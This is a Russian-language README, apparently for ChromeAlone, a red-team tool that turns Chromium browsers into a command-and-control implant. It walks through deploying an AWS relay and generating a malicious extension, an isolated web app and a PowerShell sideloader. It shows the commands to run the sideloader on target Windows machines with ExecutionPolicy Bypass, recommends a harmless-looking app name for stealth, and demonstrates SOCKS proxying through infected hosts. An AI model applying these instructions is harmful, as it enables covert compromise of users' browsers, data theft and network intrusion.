
Инструмент для преобразования браузеров Chromium в C2-имплант

ChromeAlone — это браузерный имплант, который можно использовать вместо обычных имплантов, таких как Cobalt Strike или Meterpreter. Этот репозиторий предоставляет простой процесс сборки, который создаёт консоль управления, развёртывает инфраструктуру и генерирует скрипт загрузчика PowerShell для запуска на целевых машинах.
После установки каждый имплант ChromeAlone предоставляет механизмы для:
Сначала соберите docker-контейнер: docker build -t chromealone .
В настоящее время поддерживаются два режима развёртывания. Обратите внимание, что в обоих случаях docker следует запускать из корневого каталога git-репозитория ChromeAlone.
Для этого вам потребуется учётная запись AWS, настроенная с вашими учётными данными, сохранёнными в ~/.aws/credentials. Убедитесь, что ваша учётная запись имеет полные права на запись EC2, а также разрешения Route53. Кроме того, предполагается, что ваш Route53 настроен как минимум с одной хостинг-зоной, содержащей зарегистрированный домен. Если эти условия выполнены, вы можете выполнить следующую команду.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
Значение domain должно соответствовать домену, находящемуся под управлением вашей настройки Route53. appname может быть любым значением на ваше усмотрение и будет использоваться для именования нескольких ключей реестра и папок на диске при развёртывании. Рекомендуется использовать довольно безобидное имя, например UpdateService или что-то столь же незаметное. Обратите внимание, что region необязателен и по умолчанию будет установлен us-east-2, если не указан.
Это развернёт релейный сервер BATTLEPLAN в AWS и сгенерирует следующие артефакты:
output/client — веб-приложение управления для администрирования ваших установок ChromeAlone.
output/sideloader.ps1 — установочный скрипт для запуска на целевых машинах для заражения их локального экземпляра браузера. ПРИМЕЧАНИЕ: Также будет файл iwa-sideloader.ps1 для загрузки ТОЛЬКО изолированного веб-приложения и extension-sideloader.ps1 для загрузки ТОЛЬКО расширения браузера.
output/extension — сгенерированное вредоносное расширение браузера.
output/iwa — сгенерированный подписанный пакет вредоносного изолированного веб-приложения.
output/relay-deployment — артефакты Terraform от вашего развёртывания AWS, включая SSH-ключ для прямого доступа к хосту.
Если вы уже развернули экземпляр, output/relay-deployment/terraform.tfvars будет содержать всю информацию, необходимую для генерации новых скриптов загрузчика и вредоносных расширений. Вы можете указать Docker-файлу ChromeAlone на файл tfvars, и он пропустит этап развёртывания, сохраняя соответствующие метаданные для обработки соединений.
Запустите сборочный скрипт docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService, и он сгенерирует новый вредоносный загрузчик для вашего развёртывания.
Возьмите sideloader.ps1 и выполните его на целевой машине с Windows 10 или Windows 11, запустив powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1. Обратите внимание, что вы можете запускать с дополнительными флагами, если хотите установить хост NativeMessaging (требуется для выполнения команд) или принудительно перезапустить Chrome (необходимо, если вы хотите, чтобы расширение запустилось сразу после выполнения этого скрипта, а не при следующем открытии Chrome пользователем). Пример вызова с обоими флагами: powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true. Вы также можете изменить значения по умолчанию в начале скрипта с false на true, если хотите, чтобы эти флаги использовались автоматически.
Полное выполнение скрипта займёт примерно 20–30 секунд.
После загрузки ChromeAlone вы можете просмотреть все подключённые хосты, открыв output/client/index.html. Это веб-приложение будет предварительно настроено на подключение к вашему развёрнутому экземпляру релея BATTLEPLAN. Обратите внимание, что по умолчанию релей защищён брандмауэром и разрешает входящий доступ управления только на портах 1080–1181 с IP-адреса, который развернул сервер. Если вы хотите изменить это, вам нужно обновить сетевые настройки EC2-экземпляра, чтобы включить дополнительные машины.
Большинство команд можно выполнять из веб-интерфейса, включая:
Quick Commands, что требует выбора целевого агента в разделе Execute Command)Captured Data)Execute Command)File Browser)Interactive Shell)Основным исключением является SOCKS-проксирование. Каждому заражённому хосту назначается уникальный SOCKS-порт для сервера, который можно увидеть в разделе Agent Information, где у каждого агента есть поле Port. Назначенный порт в сочетании с учётными данными admin, хранящимися в output/client/config.js, можно использовать для настройки прокси SOCKS для конкретного хоста.
Например, предположим, у нас есть агент с портом 1081, наш домен — chrome.alone, имя пользователя — admin (всегда так), а пароль — thisisnotarealpassword. Вот несколько примеров использования:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
Репозиторий ChromeAlone разбит на компоненты, многие из которых могут использоваться по отдельности в рамках оценки, но вместе они представляют собой полный инструментарий для создания имплантов в браузер Chromium.